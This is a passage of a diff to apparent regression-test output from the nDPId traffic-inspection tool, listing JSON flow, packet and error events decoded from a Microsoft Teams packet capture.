01063{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2205,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041687436782,"flow_src_last_pkt_time":1587041687466635,"flow_dst_last_pkt_time":1587041687466298,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":214,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":214,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687466635,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud","hostname":"api.microsoftstream.com","tls": {"version":"TLSv1.2","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} 01712{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2226,"source":"teams.pcap","alias":"nDPId-test","flow_id":51,"flow_state":"info","flow_src_packets_processed":5,"flow_dst_packets_processed":5,"flow_first_seen":1587041687245112,"flow_src_last_pkt_time":1587041687544052,"flow_dst_last_pkt_time":1587041687544137,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":412,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041687544137,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60561,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2238,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041687611308} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2238,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041687600094,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 02103{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":2258,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"finished","flow_src_packets_processed":19,"flow_dst_packets_processed":13,"flow_first_seen":1587041687436782,"flow_src_last_pkt_time":1587041687725655,"flow_dst_last_pkt_time":1587041687725568,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1313,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":2206,"flow_dst_tot_l4_payload_len":7143,"midstream":0,"thread_ts_usec":1587041687725655,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":3,"avg":18634.2,"max":125561,"stddev":31723.1,"var":1006353792.0,"ent":3.4,"data": [29516,29616,237,45747,220,45693,117,89,54,132,3,86,615,23250,232,30155,31,6115,4,245,22863,22646,1494,1434,2892,30,32749,246,30074,125513,125561]},"pktlen": {"min":52,"avg":345.2,"max":1492,"stddev":499.9,"var":249913.2,"ent":3.9,"data": [64,60,52,266,1492,1492,64,1492,52,52,1492,281,52,145,145,424,103,121,52,52,90,90,52,548,52,1365,135,52,94,52,510,52]},"bins": {"c_to_s": [12,1,3,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0],"s_to_c": [2,3,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0],"entropies": [4.365527153,5.169149399,4.868495941,5.580047131,7.357915878,7.526344776,4.919355392,7.363313675,4.945419312,4.786791325,7.588277340,7.143245697,4.983880997,5.918394089,6.257330894,7.398386002,5.555244923,6.105889320,4.945419312,4.945419312,5.368302345,5.567127228,4.945419312,7.528010845,4.983880997,7.854734421,6.103594780,5.100070000,5.655968666,4.983880520,7.545987606,4.861793995]},"ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud"}} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2259,"source":"teams.pcap","alias":"nDPId-test","flow_id":54,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041687731296,"flow_src_last_pkt_time":1587041687731296,"flow_dst_last_pkt_time":1587041687731296,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":48,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":48,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":48,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687731296,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62735,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00556{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2259,"source":"teams.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_src_last_pkt_time":1587041687731296,"flow_dst_last_pkt_time":1587041687731296,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"thread_ts_usec":1587041687731296,"pkt":"EBMx8Tl2KDc3AG3ICABFAABM83AAAP8RRNjAqAEGwKgBAfUPADUAOAAFY+UBAAABAAAAAAAABmV1bm8tMQNhcGkPbWljcm9zb2Z0c3RyZWFtA2NvbQAAAQAB"} @@ -361,14 +345,6 @@ 00537{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2265,"source":"teams.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":2,"flow_src_last_pkt_time":1587041687745932,"flow_dst_last_pkt_time":1587041687789261,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"thread_ts_usec":1587041687789261,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8GLFAAGwGRTw0qbp3wKgBBgG77JMQ1B2QYdMMyKASIACACgAAAgQFoAEDAwgEAggKASJ3bTCEwsc="} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2266,"source":"teams.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":3,"flow_src_last_pkt_time":1587041687789367,"flow_dst_last_pkt_time":1587041687789261,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041687789367,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGifXAqAEGNKm6d+yTAbth0wzIENQdkYAQEAm+kQAAAQEICjCEwvABIndt"} 01070{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2267,"source":"teams.pcap","alias":"nDPId-test","flow_id":55,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041687745932,"flow_src_last_pkt_time":1587041687789561,"flow_dst_last_pkt_time":1587041687789261,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":221,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":221,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687789561,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.169.186.119","src_port":60563,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud","hostname":"euno-1.api.microsoftstream.com","tls": {"version":"TLSv1.2","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2311,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041688611359} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2311,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041688190082,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2313,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041689410919} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2313,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041688190082,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2314,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041689611350} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2314,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041688190082,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2316,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041690611386} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2316,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041688190082,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041690880711,"flow_src_last_pkt_time":1587041690880711,"flow_dst_last_pkt_time":1587041690880711,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":54,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":54,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":54,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041690880711,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63930,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00564{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_src_last_pkt_time":1587041690880711,"flow_dst_last_pkt_time":1587041690880711,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"thread_ts_usec":1587041690880711,"pkt":"EBMx8Tl2KDc3AG3ICABFAABSJv0AAP8REUbAqAEGwKgBAfm6ADUAPoc2eGoBAAABAAAAAAAAAmRjE2FwcGxpY2F0aW9uaW5zaWdodHMJbWljcm9zb2Z0A2NvbQAAAQAB"} 01017{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2317,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041690880711,"flow_src_last_pkt_time":1587041690880711,"flow_dst_last_pkt_time":1587041690880711,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":54,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":54,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":54,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041690880711,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63930,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Microsoft","proto_id":"5.212","encrypted":0,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"dc.applicationinsights.microsoft.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -391,26 +367,18 @@ 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2354,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":3,"flow_src_last_pkt_time":1587041691169076,"flow_dst_last_pkt_time":1587041691168973,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041691169076,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG2JvAqAEGNHJsCOyVAbumbhw+rneBYYAQEAml0QAAAQEICjCE0AhSqiqs"} 01071{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2355,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041691149774,"flow_src_last_pkt_time":1587041691169247,"flow_dst_last_pkt_time":1587041691168973,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":222,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":222,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041691169247,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.108.8","src_port":60565,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"emea.ng.msg.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} 01085{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2356,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041691149774,"flow_src_last_pkt_time":1587041691169247,"flow_dst_last_pkt_time":1587041691190981,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":222,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":222,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1587041691190981,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.108.8","src_port":60565,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"emea.ng.msg.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2416,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041691410839} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2416,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041691399733,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 02105{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":2417,"source":"teams.pcap","alias":"nDPId-test","flow_id":59,"flow_state":"finished","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1587041691149774,"flow_src_last_pkt_time":1587041691305451,"flow_dst_last_pkt_time":1587041691582252,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":994,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":2028,"flow_dst_tot_l4_payload_len":8121,"midstream":0,"thread_ts_usec":1587041691582252,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.108.8","src_port":60565,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":3,"avg":18972.7,"max":276869,"stddev":49493.9,"var":2449644032.0,"ent":2.9,"data": [19199,19302,171,22008,34,21827,18,184,203,246,14,193,1070,12295,280,19893,29,6313,3,603,11971,11399,1472,1415,54998,62106,42,25528,33,18437,276869]},"pktlen": {"min":52,"avg":370.2,"max":1492,"stddev":512.1,"var":262257.7,"ent":3.9,"data": [64,60,52,274,1492,1492,64,52,1492,52,1492,471,52,178,145,525,103,121,52,52,90,90,52,511,52,52,1046,134,52,94,52,1335]},"bins": {"c_to_s": [11,1,2,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [3,3,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1],"entropies": [4.396777153,5.256567478,4.923395634,5.577177048,7.100010395,7.346216679,4.975505829,4.976374149,7.520713806,4.854287148,7.591184139,7.492725372,4.937912464,6.281796932,6.325607300,7.565563679,5.628156662,5.942033768,4.976374149,4.937912464,5.421134472,5.660066128,5.014835358,7.536164761,4.976373672,5.169486523,7.784315586,6.192806721,5.169486523,5.596017838,5.014835358,7.848025322]},"ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative"}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2419,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041691611256} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2419,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041691582349,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 02106{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":2430,"source":"teams.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"finished","flow_src_packets_processed":16,"flow_dst_packets_processed":16,"flow_first_seen":1587041682376166,"flow_src_last_pkt_time":1587041682938651,"flow_dst_last_pkt_time":1587041692001418,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1060,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":2113,"flow_dst_tot_l4_payload_len":7396,"midstream":0,"thread_ts_usec":1587041692001418,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.76.48","src_port":60544,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":2,"avg":328636.7,"max":8978171,"stddev":1582353.1,"var":2503841415168.0,"ent":0.8,"data": [47150,47228,506,44398,29,43913,16,46,186,124,2,213,4,4433,9743,291,46519,32116,477,409,98,18910,1378,20235,62883,403234,424977,8978171,32,9,7]},"pktlen": {"min":40,"avg":339.2,"max":1492,"stddev":486.1,"var":236250.5,"ent":3.9,"data": [64,52,40,276,1492,1492,52,40,40,1492,1492,309,40,40,198,133,568,91,40,109,40,78,46,409,40,46,1100,46,411,415,86,78]},"bins": {"c_to_s": [10,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [4,3,1,0,0,0,0,0,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1,1],"entropies": [4.334277153,4.946223736,4.571928501,5.576080799,7.377434731,7.334023952,4.748329639,4.630640984,4.571928501,7.530410290,7.590536594,7.109602451,4.680641174,4.630641460,6.484649181,6.111595631,7.563093662,5.442209721,4.630641460,5.902398109,4.630641460,5.214766979,4.462505341,7.402733803,4.680641174,4.505983353,7.828750610,4.609350681,7.428915024,7.453095436,5.564571857,5.463537216]},"ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative"}} 00760{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2438,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041692528594,"flow_src_last_pkt_time":1587041692528594,"flow_dst_last_pkt_time":1587041692528594,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":120,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":120,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":120,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1587041692528594,"l3_proto":"ip4","src_ip":"151.11.50.139","dst_ip":"192.168.1.6","src_port":2222,"dst_port":54750,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00693{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2438,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_src_last_pkt_time":1587041692528594,"flow_dst_last_pkt_time":1587041692528594,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"thread_ts_usec":1587041692528594,"pkt":"KDc3AG3IEBMx8Tl2CABFAACscMtAADIGTDyXCzKLwKgBBgiu1d6yibcLw8sjj4AYAfWSMAAAAQEICnMgXuAwhCbwdBDZH1X2LNSHenV0XPT5UOuNQPq3DAtDODIIsZ4L3xE8W9ceOtMh\/taRn1i3oYCG\/lk5DiXu3JH7RFT8gb0ANFHp9LfVVHPD+A0sB0\/WJaUdO\/QQPvH9sYa9nCylNS5SUfWnuhHHtKPL+2Ql1DSrQI\/KjFfe6Sr3"} 00526{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2439,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":2,"flow_src_last_pkt_time":1587041692528594,"flow_dst_last_pkt_time":1587041692528684,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041692528684,"pkt":"EBMx8Tl2KDc3AG3ICABFSAA0AABAAEAGrzfAqAEGlwsyi9XeCK7DyyOPsom3g4AQD\/zTvAAAAQEICjCE1UVzIF7g"} 00627{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2440,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":3,"flow_src_last_pkt_time":1587041692528594,"flow_dst_last_pkt_time":1587041692528752,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"thread_ts_usec":1587041692528752,"pkt":"EBMx8Tl2KDc3AG3ICABFSAB8AABAAEAGru\/AqAEGlwsyi9XeCK7DyyOPsom3g4AYEADukgAAAQEICjCE1UVzIF7g5AplDBJ5jEkO1U2Mpra9\/PbG6UC\/FVXGQ5pEnr4zSbP3LnLXhdyZOGgH9qsJLTZHLgDXKr5t+q9K3Mvbm5JFapBhK16BH5zD"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2442,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041692611278} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2442,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041692578366,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00755{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2443,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041692808980,"flow_src_last_pkt_time":1587041692808980,"flow_dst_last_pkt_time":1587041692808980,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041692808980,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 